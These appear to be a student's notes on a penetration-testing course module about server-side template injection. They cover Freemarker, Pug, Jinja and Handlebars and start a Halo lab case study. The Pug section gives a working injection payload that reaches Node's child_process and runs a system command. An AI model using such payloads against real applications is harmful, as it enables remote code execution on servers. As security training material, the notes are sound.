Module 12: Server-side Template Injection - Discovery and Exploitation
Templating Engines
Accessing the Template Sandbox
Start the VPN, VM, and add IP to hosts.
Introduction to Templating Engines
Example Email
Hello Dragan,
Thank you for your order! Your items will be shipped out shortly:
Widget - $10
Quantity: 3
Total: $30
Toolkit - $20
Quantity: 1
Total: $20
_______________
Total: $50
These items will be shipped to:
194 Bridge Avenue Elton, Louisiana 70532
Example Template Email
01 Hello {{ name }},
02
03 Thank you for your order! Your items will be shipped out shortly:
04 {% for product in cart %}
05 {{product.name}}
06 Price: ${{product.price}}
07 Quantity: {{product.quantity}}
08 Total: ${{product.quantity * product.price}}
09 {% endfor %}____________________
10 Total: ${{total}}
11
12 {% if cart|length > 1 %}
13 These items{% else %}
14 This item{% endif %} will be shipped to:
15 {{address}}
Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.
In this scenario, the target is running the application as root. However, it is in a containerized environment, so this might not always be the case.
Pug - Discovery and Exploitation
Pug - Discovery
Pug Template
01 h1 Hello, #{name}
02 input(type='hidden' name='admin' value='true')
03
04 if showSecret
05 - secret = ['❤️','😍', '🤟']
06 p The secrets are:
07 each val in secret
08 p #{val}
09 else
10 p No secret for you!
Attributes in Pug
02 input(type='hidden' name='admin' value='true')
if statement in Pug
04 if showSecret
...
09 else
10 p No secret for you!
Code in Pug
05 - secret = ['❤️','😍', '🤟']
Buffered Code
= secret = ['❤️','😍', '🤟']
Pug Loop
07 each val in secret
08 p #{val}
Pug - Exploitation
Storing require as Variable
- var require = global.process.mainModule.require
= require('child_process')
Executing spawnSync
- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout
In this scenario, the target is running the application as root. However, it is in a containerized environment. This might not always be the case.
Jinja - Discovery and Exploitation
Jinja - Discovery
Jinja Templating Engine
01 <h1>Hey {{ name }}</h1>
02 {% if reasons %}
03 Here are a couple of reasons why you are great:
04 <ul>
05 {% for r in reasons %}
06 <li>{{r}}</li>
07 {% endfor %}
08 </ul>
09 {% endif %}
Jinja - Exploitation
Obtaining RCE via injection in the Jinja templating engine is the type of complex technique reviewed in the WEB-300 course.
Mustache and Handlebars - Discovery and Exploitation
Mustache and Handlebars - Discovery
Handlebars Template
01 <h1>Hello {{name}}</h1>
02 {{#if nicknames}}
03 Also known as:
04 {{#each nicknames}}
05 {{this}}
06 {{/each}}
07 {{/if}}
08
09 We are using handlebars locally in your browser to generate this template
Handlebars Expression
01 <h1>Hello {{name}}</h1>
Handlebars Helpers
02 {{#if nicknames}}
03 Also known as:
04 {{#each nicknames}}
05 {{this}}
06 {{/each}}
07 {{/if}}
Mustache and Handlebars - Exploitation
For the most part Handlebars is fairly safe due to it being logicless, however helpers can cause it to be "vulnerable".
Halo - Case Study
Accessing Halo
Start the VPN, the VM, and add IP to hosts.
Halo - Translation and Discovery
Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox.